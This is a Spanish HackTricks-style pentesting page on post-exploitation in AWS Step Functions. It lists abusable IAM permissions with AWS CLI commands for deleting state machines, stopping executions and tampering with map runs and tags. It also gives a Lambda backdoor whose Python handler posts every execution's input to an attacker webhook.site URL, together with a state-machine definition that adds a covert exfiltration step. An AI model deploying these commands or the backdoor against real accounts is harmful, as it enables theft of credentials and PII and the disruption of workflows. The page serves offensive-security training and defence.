7.6 KiB
AWS - Step Functions Post Explotación
{{#include ../../../banners/hacktricks-training.md}}
Step Functions
Para más información sobre este servicio de AWS, consulta:
{{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}}
states:RevealSecrets
Este permiso permite revelar datos secretos dentro de una ejecución. Para ello, es necesario establecer el nivel de Inspección en TRACE y el parámetro revealSecrets en true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
Un atacante con estos permisos podría eliminar permanentemente máquinas de estado, sus versiones y alias. Esto puede interrumpir flujos de trabajo críticos, resultar en pérdida de datos y requerir un tiempo significativo para recuperar y restaurar las máquinas de estado afectadas. Además, permitiría a un atacante cubrir las huellas utilizadas, interrumpir investigaciones forenses y potencialmente paralizar operaciones al eliminar procesos de automatización esenciales y configuraciones de estado.
Note
- Al eliminar una máquina de estado, también se eliminan todas sus versiones y alias asociados.
- Al eliminar un alias de máquina de estado, no se eliminan las versiones de la máquina de estado que hacen referencia a este alias.
- No es posible eliminar una versión de máquina de estado actualmente referenciada por uno o más alias.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Impacto Potencial: Disrupción de flujos de trabajo críticos, pérdida de datos y tiempo de inactividad operativo.
states:UpdateMapRun
Un atacante con este permiso podría manipular la configuración de falla del Map Run y la configuración paralela, pudiendo aumentar o disminuir el número máximo de ejecuciones de flujos de trabajo secundarios permitidos, afectando directamente el rendimiento del servicio. Además, un atacante podría alterar el porcentaje y el conteo de fallas toleradas, pudiendo disminuir este valor a 0, de modo que cada vez que un ítem falle, todo el map run fallaría, afectando directamente la ejecución de la máquina de estados y potencialmente interrumpiendo flujos de trabajo críticos.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- Impacto Potencial: Degradación del rendimiento y interrupción de flujos de trabajo críticos.
states:StopExecution
Un atacante con este permiso podría detener la ejecución de cualquier máquina de estados, interrumpiendo flujos de trabajo y procesos en curso. Esto podría llevar a transacciones incompletas, operaciones comerciales detenidas y posible corrupción de datos.
Warning
Esta acción no es compatible con máquinas de estados expresas.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Impacto Potencial: Disrupción de flujos de trabajo en curso, tiempo de inactividad operativo y posible corrupción de datos.
states:TagResource, states:UntagResource
Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de Step Functions, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Impacto Potencial: Disrupción de la asignación de costos, seguimiento de recursos y políticas de control de acceso basadas en etiquetas.
states:UpdateStateMachine, lambda:UpdateFunctionCode
Un atacante que compromete a un usuario o rol con los siguientes permisos:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
...puede llevar a cabo un ataque de post-explotación de alto impacto y sigiloso combinando el backdooring de Lambda con la manipulación de la lógica de Step Function.
Este escenario asume que la víctima utiliza AWS Step Functions para orquestar flujos de trabajo que procesan entradas sensibles, como credenciales, tokens o PII.
Ejemplo de invocación de la víctima:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Si la Step Function está configurada para invocar un Lambda como LegitBusinessLogic, el atacante puede proceder con dos variantes de ataque sigilosas:
Actualizó la función lambda
El atacante modifica el código de la función Lambda ya utilizada por la Step Function (LegitBusinessLogic) para exfiltrar silenciosamente los datos de entrada.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Agregar un Estado Malicioso a la Función de Paso
Alternativamente, el atacante puede inyectar un estado de exfiltración al comienzo del flujo de trabajo actualizando la definición de la Función de Paso.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
El atacante puede ser aún más sigiloso al actualizar la definición del estado a algo como esto { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } donde la víctima no se dará cuenta de la diferencia
Configuración de la Víctima (Contexto para la Explotación)
- Se utiliza una Step Function (
LegitStateMachine) para procesar entradas sensibles de usuarios. - Llama a una o más funciones Lambda como
LegitBusinessLogic.
Impacto Potencial:
- Exfiltración silenciosa de datos sensibles, incluyendo secretos, credenciales, claves API y PII.
- Sin errores o fallos visibles en la ejecución del flujo de trabajo.
- Difícil de detectar sin auditar el código de Lambda o los rastros de ejecución.
- Permite una persistencia a largo plazo si la puerta trasera permanece en el código o la lógica ASL.
{{#include ../../../banners/hacktricks-training.md}}